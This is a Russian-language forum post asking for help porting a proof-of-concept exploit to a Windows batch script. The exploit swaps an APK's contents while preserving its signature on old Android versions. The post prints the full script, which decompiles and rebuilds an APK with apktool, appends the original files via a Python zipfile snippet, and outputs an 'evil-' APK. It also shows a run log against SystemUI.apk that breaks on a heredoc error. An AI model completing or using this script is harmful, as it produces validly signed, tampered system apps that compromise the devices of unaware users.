Есть
такая вещь (подмена апк с сохранением подписи), которая отлично подойдет для старой версии андроида.
Я попытался переписать его под запуск в среде Windows, и все бы отлично, если бы последняя часть кода запускалась. Не могу найти решение да и проблему. Не работает после строки
type >poc.py <<EOF
if [%1] == [] (
echo Usage: %0 ^<APK^>
exit /b 1
)
SET APK=%1
rd /s /q out out.apk tmp 2>nul
java -jar apktool.jar d -f %APK% -o out
echo Modify files, when done type 'exit'
cd out
cmd /k
cd ..
java -jar apktool.jar b out -o out.apk
mkdir tmp
cd tmp
copy "..\%APK%" "..\%APK%.zip"
powershell -Command "Expand-Archive -Path ..\%APK%.zip -DestinationPath ."
move "..\out.apk" .
type >poc.py <<EOF
import zipfile
import sys
with zipfile.ZipFile(sys.argv[1], "a") as z:
z.write(sys.argv[2])
EOF
for /r %%f in (*) do (
if not "%%~nxf" == "poc.py" if not "%%~nxf" == "out.apk" (
python poc.py out.apk "%%f"
)
)
mkdir ..\evil
copy out.apk ..\evil\evil-%APK%
cd ..
rd /s /q tmp out
echo Modified APK: evil-%APK%
Ну и далее код Python не срабатывает и не создается итоговая папка с мод файлом.
Log
PS C:\APKTool> .\script.bat .\SystemUI.apk
C:\APKTool>if [.\SystemUI.apk] == [] (
echo Usage: "C:\APKTool\script.bat"
exit /b 1
)
C:\APKTool>SET APK=.\SystemUI.apk
C:\APKTool>rd /s /q out out.apk tmp 2>nul
C:\APKTool>java -jar apktool.jar d -f .\SystemUI.apk -o out
I: Using Apktool 2.9.0 on SystemUI.apk
I: Loading resource table...
I: Decoding file-resources...
I: Loading resource table from file: C:\Users\epide\AppData\Local\apktool\framework\1.apk
I: Decoding values */* XMLs...
I: Decoding AndroidManifest.xml with resources...
I: Regular manifest package...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
C:\APKTool>echo Modify files, when done type 'exit'
Modify files, when done type 'exit' C:\APKTool>cd out C:\APKTool\out>cmd /k C:\APKTool\out>exit
C:\APKTool\out>cd ..
C:\APKTool>java -jar apktool.jar b out -o out.apk
I: Using Apktool 2.9.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk into: out.apk
C:\APKTool>mkdir tmp
C:\APKTool>cd tmp
C:\APKTool\tmp>copy "..\.\SystemUI.apk" "..\.\SystemUI.apk.zip"
Скопировано файлов: 1.
C:\APKTool\tmp>powershell -Command "Expand-Archive -Path ..\.\SystemUI.apk.zip -DestinationPath ."
C:\APKTool\tmp>move "..\out.apk" .
Перемещено файлов: 1.
Непредвиденное появление: <<.
C:\APKTool\tmp>type >poc.py <